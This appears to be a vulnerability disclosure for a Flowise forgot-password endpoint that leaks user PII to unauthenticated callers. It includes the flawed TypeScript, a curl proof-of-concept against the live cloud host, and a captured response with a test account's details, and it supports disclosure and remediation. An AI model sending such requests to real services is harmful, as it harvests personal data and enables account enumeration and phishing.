## Summary The `/api/v1/account/forgot-password` endpoint returns the full user object including PII (id, name, email, status, timestamps) in the response body instead of a generic success message. This exposes sensitive user information to unauthenticated attackers who only need to know a valid email address. ## Vulnerability Details | Field | Value | |-------|-------| | CWE | CWE-200: Exposure of Sensitive Information to an Unauthorized Actor | | Affected File | `packages/server/src/enterprise/services/account.service.ts` (lines 517-545) | | Endpoint | `POST /api/v1/account/forgot-password` | | Authentication | None required | | CVSS 3.1 | 3.7 (Low) | ## Root Cause In `account.service.ts`, the `forgotPassword` method returns the sanitized user object instead of a simple success acknowledgment: ```typescript public async forgotPassword(data: AccountDTO) { // ... const user = await this.userService.readUserByEmail(data.user.email, queryRunner) if (!user) throw new InternalFlowiseError(StatusCodes.NOT_FOUND, UserErrorMessage.USER_NOT_FOUND) data.user = user // ... password reset logic ... return sanitizeUser(data.user) // Returns user object with PII } ``` The `sanitizeUser` function only removes sensitive authentication fields: ```typescript export function sanitizeUser(user: Partial<User>) { delete user.credential // password hash delete user.tempToken // reset token delete user.tokenExpiry return user // Still contains: id, name, email, status, createdDate, updatedDate } ``` ## Impact An unauthenticated attacker can: 1. **Harvest PII**: Collect user IDs, full names, and account metadata 2. **Profile users**: Determine account creation dates and activity patterns 3. **Enumerate accounts**: Confirm email existence and gather associated data 4. **Enable further attacks**: Use harvested data for social engineering or targeted phishing ## Exploitation ```bash curl -X POST "https://cloud.flowiseai.com/api/v1/account/forgot-password" \ -H "Content-Type: application/json" \ -d '{"user":{"email":"victim@example.com"}}' ``` ### Evidence **Request:** ```http POST /api/v1/account/forgot-password HTTP/1.1 Host: cloud.flowiseai.com Content-Type: application/json {"user":{"email":"vefag54010@naprb.com"}} ``` **Response (201 Created):** ```json { "id": "56c3fc72-4e85-49c9-a4b5-d1a46b373a12", "name": "Vefag naprb", "email": "vefag54010@naprb.com", "status": "active", "createdDate": "2026-01-17T15:21:59.152Z", "updatedDate": "2026-01-17T15:35:06.492Z", "createdBy": "56c3fc72-4e85-49c9-a4b5-d1a46b373a12", "updatedBy": "56c3fc72-4e85-49c9-a4b5-d1a46b373a12" } ``` <img width="1582" height="791" alt="screenshot" src="https://github.com/user-attachments/assets/9880f037-6e21-41d7-a7c8-7057c6775b50" /> ## Exposed Data | Field | Risk | |-------|------| | `id` | Internal user UUID - enables targeted attacks | | `name` | Full name - PII disclosure | | `email` | Email confirmation | | `status` | Account state information | | `createdDate` | User profiling | | `updatedDate` | Activity tracking | | `createdBy` / `updatedBy` | Internal reference leak | ## Expected Behavior A secure forgot-password endpoint should return a generic response regardless of whether the email exists: ```json {"message": "If this email exists, a password reset link has been sent."} ``` ## References - [CWE-200: Exposure of Sensitive Information](https://cwe.mitre.org/data/definitions/200.html) - [OWASP Authentication Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html#password-recovery)
